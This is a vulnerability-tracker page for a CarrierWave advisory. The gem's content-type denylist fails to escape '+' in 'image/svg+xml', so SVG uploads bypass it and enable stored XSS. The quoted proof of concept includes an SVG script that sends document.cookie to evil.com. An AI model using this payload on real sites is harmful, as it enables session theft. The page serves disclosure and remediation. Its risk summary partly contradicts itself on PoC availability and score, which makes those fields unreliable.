Skip to main content

CarrierWave CVE-2026-44587

MEDIUM
Improper Encoding or Escaping of Output (CWE-116)
2026-05-27 https://github.com/carrierwaveuploader/carrierwave GHSA-7g26-2qgj-chfg
6.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify upload endpoint using CarrierWave denylist
  2. Delivery
    Craft SVG file with XSS payload
  3. Exploit
    Submit SVG with image/svg+xml content type
  4. Install
    Denylist regex silently fails to match due to unescaped +
  5. C2
    SVG stored on server
  6. Execute
    Deliver link to victim user
  7. Impact
    XSS payload executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding for downstream
Exploitation Conditions

Exploitation requires that the target application actively uses CarrierWave's content_type_denylist feature (not content_type_allowlist) with at least one MIME type string entry that contains a regex metacharacter - the primary case is image/svg+xml, but application/xhtml+xml and any other MIME type with +, ., ?, or * are equally affected. The application must store uploaded files in a location accessible to other users and render them in a browser context (required for the XSS to trigger, corresponding to CVSS UI:R). Per CVSS PR:N, no attacker authentication is required - any party who can reach the file upload endpoint can submit the malicious file. Denylist entries that are Ruby Regexp objects (rather than strings) are NOT affected by this bypass. Applications using only content_type_allowlist, or not using content-type filtering at all, are not affected by this specific vulnerability. MIME types without metacharacters (e.g., application/pdf, text/plain) are also unaffected even when used in the denylist.

Impact

CVSS 4.7 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N indicates low attack complexity and no required privileges, but the low confidentiality impact rating and required user interaction temper the base score. The score arguably understates business risk for applications that treat content_type_denylist as their primary or sole defense against SVG-based stored XSS - those applications have zero effective protection while believing they are secured. The UI:R flag is accurate: a victim must load the uploaded SVG in a browser for XSS to trigger. No EPSS score was available in the provided intelligence data, so exploitation probability cannot be quantified. The vulnerability is not listed in CISA KEV, indicating no confirmed widespread active exploitation at time of analysis. However, a working proof-of-concept is publicly documented in the GitHub advisory, lowering the barrier to exploitation significantly. The content_type_denylist feature is already deprecated by CarrierWave, meaning affected applications are running legacy security controls that are now confirmed broken - this elevates real-world priority beyond what the CVSS score alone suggests.

Exploit ScenarioDerived

An attacker targets a Ruby web application that uses CarrierWave with content_type_denylist set to ['image/svg+xml'] to block SVG uploads and prevent stored XSS. The attacker submits a crafted SVG file containing a JavaScript payload (e.g., a cookie-stealing script) via the standard file upload endpoint; because the denylist regex never matches the literal + in the MIME type, the file passes validation and is stored on the server. A working proof-of-concept demonstrating this exact flow - including the Sinatra app setup and curl upload command - is publicly available in the GitHub security advisory, enabling straightforward replication by any attacker.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

CarrierWave's content_type_denylist silently fails to block MIME types containing regex metacharacters - most critically image/svg+xml - because string entries are interpolated directly into a regex without Regexp.quote or anchoring, causing the + character to be treated as a quantifier rather than a literal. Any Ruby application relying on this denylist to prevent SVG uploads for stored XSS protection is completely unprotected despite believing the control is active. A publicly available proof-of-concept exploit demonstrates successful SVG bypass; no public exploit identified at time of analysis for active KEV-level exploitation.

RemediationAI

Upgrade CarrierWave to version 3.1.3 (for 3.x users) or 2.2.7 (for 2.x users), as confirmed by the GitHub advisory GHSA-7g26-2qgj-chfg. The fix applies Regexp.quote to string denylist entries and anchors them with \A, matching the existing allowlist implementation. If immediate patching is not feasible, a targeted workaround is to replace string entries in content_type_denylist with explicit Regexp objects using proper escaping and anchoring - for example, use /\Aimage\/svg\+xml\z/ instead of "image/svg+xml"; the vulnerable code path only mishandles String instances. A more robust alternative is to migrate from content_type_denylist to content_type_allowlist with an explicit set of permitted MIME types, since CarrierWave's allowlist implementation is correctly implemented and content_type_denylist is already deprecated for security reasons. Note that switching to an allowlist changes application behavior - previously permitted types must be explicitly listed to avoid breaking legitimate uploads.

Affected Packages

rubygems carrierwave fix: 2.2.7, 3.1.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in rubygems

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CarrierWave (pkg:rubygems/carrierwave) is a widely used Ruby gem for handling file uploads. The vulnerable function at lib/carrierwave/uploader/content_type_denylist.rb:57 interpolates denylist string entries directly into a Ruby regex literal - content_type =~ /#{item}/ - without first calling Regexp.quote. This maps to CWE-116 (Improper Encoding or Escaping of Output): developer-supplied strings intended as literal MIME type patterns are silently reinterpreted as raw regex syntax. For image/svg+xml, the resulting regex is /image\/svg+xml/ where + quantifies the preceding g character rather than matching a literal plus sign, so the regex never matches the actual MIME type string. The root cause is an asymmetric implementation: the allowlist counterpart (content_type_allowlist.rb:53-57) correctly applies both Regexp.quote and a \A anchor to prevent this exact class of bypass, but the denylist implementation was never updated to match. Any MIME type containing regex metacharacters (+, ., ?, *, etc.) is affected; application/xhtml+xml is another documented example.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 18, 2026 - 19:38 NVD
4.7 (MEDIUM) 6.1 (MEDIUM)

DescriptionNVD

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

ruby
def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end
bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml - the most common use case, specifically to prevent stored XSS - is silently unprotected. An attacker can upload an SVG file containing arbitrary

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)NVD

pkg:rubygems/carrierwave
pkg:rubygems/carrierwave

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy